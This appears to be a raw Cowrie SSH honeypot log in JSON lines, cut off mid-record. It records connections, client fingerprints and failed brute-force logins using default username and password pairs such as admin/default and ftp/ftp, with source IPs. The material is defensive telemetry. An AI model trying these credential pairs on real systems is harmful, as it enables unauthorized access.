{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:52.444643Z","src_ip":"27.79.44.181","session":"7feaaa0ebdc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:45:53.328358Z","src_ip":"27.79.44.181","session":"7feaaa0ebdc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:46:01.639226Z","src_ip":"27.79.44.181","session":"7feaaa0ebdc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":51614,"dst_ip":"10.17.0.5","dst_port":22,"session":"247c07ef5368","protocol":"ssh","message":"New connection: 166.1.60.230:51614 (10.17.0.5:22) [session: 247c07ef5368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:46:06.490433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:46:06.493478Z","src_ip":"166.1.60.230","session":"247c07ef5368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:46:06.497703Z","src_ip":"166.1.60.230","session":"247c07ef5368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"1234","message":"login attempt [vboxuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:46:06.549598Z","src_ip":"166.1.60.230","session":"247c07ef5368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:46:07.555294Z","src_ip":"166.1.60.230","session":"247c07ef5368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":59444,"dst_ip":"10.17.0.5","dst_port":22,"session":"d70182e08329","protocol":"ssh","message":"New connection: 101.36.108.125:59444 (10.17.0.5:22) [session: d70182e08329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:47:36.052268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:47:36.056497Z","src_ip":"101.36.108.125","session":"d70182e08329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:47:36.269841Z","src_ip":"101.36.108.125","session":"d70182e08329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aA-123","message":"login attempt [admin/aA-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:47:37.155778Z","src_ip":"101.36.108.125","session":"d70182e08329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:47:38.371186Z","src_ip":"101.36.108.125","session":"d70182e08329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":53472,"dst_ip":"10.17.0.5","dst_port":22,"session":"b32bd0510153","protocol":"ssh","message":"New connection: 166.1.60.230:53472 (10.17.0.5:22) [session: b32bd0510153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:48:56.747266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:48:56.752280Z","src_ip":"166.1.60.230","session":"b32bd0510153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:48:56.757668Z","src_ip":"166.1.60.230","session":"b32bd0510153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:48:56.812455Z","src_ip":"166.1.60.230","session":"b32bd0510153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:48:57.820911Z","src_ip":"166.1.60.230","session":"b32bd0510153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":50046,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcf6830dd54c","protocol":"ssh","message":"New connection: 27.79.44.181:50046 (10.17.0.5:22) [session: dcf6830dd54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:12.193598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:12.267382Z","src_ip":"27.79.44.181","session":"dcf6830dd54c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:12.457580Z","src_ip":"27.79.44.181","session":"dcf6830dd54c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:14.906978Z","src_ip":"27.79.44.181","session":"dcf6830dd54c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:16.736048Z","src_ip":"27.79.44.181","session":"dcf6830dd54c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":60122,"dst_ip":"10.17.0.5","dst_port":22,"session":"c98bda6038d5","protocol":"ssh","message":"New connection: 101.36.108.125:60122 (10.17.0.5:22) [session: c98bda6038d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:36.620729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:36.625396Z","src_ip":"101.36.108.125","session":"c98bda6038d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:36.845546Z","src_ip":"101.36.108.125","session":"c98bda6038d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wialon","password":"wialon","message":"login attempt [wialon/wialon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:37.758185Z","src_ip":"101.36.108.125","session":"c98bda6038d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:49:38.980581Z","src_ip":"101.36.108.125","session":"c98bda6038d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":39696,"dst_ip":"10.17.0.5","dst_port":22,"session":"731cfe1f28a1","protocol":"ssh","message":"New connection: 27.79.44.181:39696 (10.17.0.5:22) [session: 731cfe1f28a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:01.842244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:02.152047Z","src_ip":"27.79.44.181","session":"731cfe1f28a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:02.208687Z","src_ip":"27.79.44.181","session":"731cfe1f28a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:04.263753Z","src_ip":"27.79.44.181","session":"731cfe1f28a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":50860,"dst_ip":"10.17.0.5","dst_port":22,"session":"8734b8544d9b","protocol":"ssh","message":"New connection: 27.79.5.10:50860 (10.17.0.5:22) [session: 8734b8544d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:04.603715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:51:04.608665Z","src_ip":"27.79.5.10","session":"8734b8544d9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,h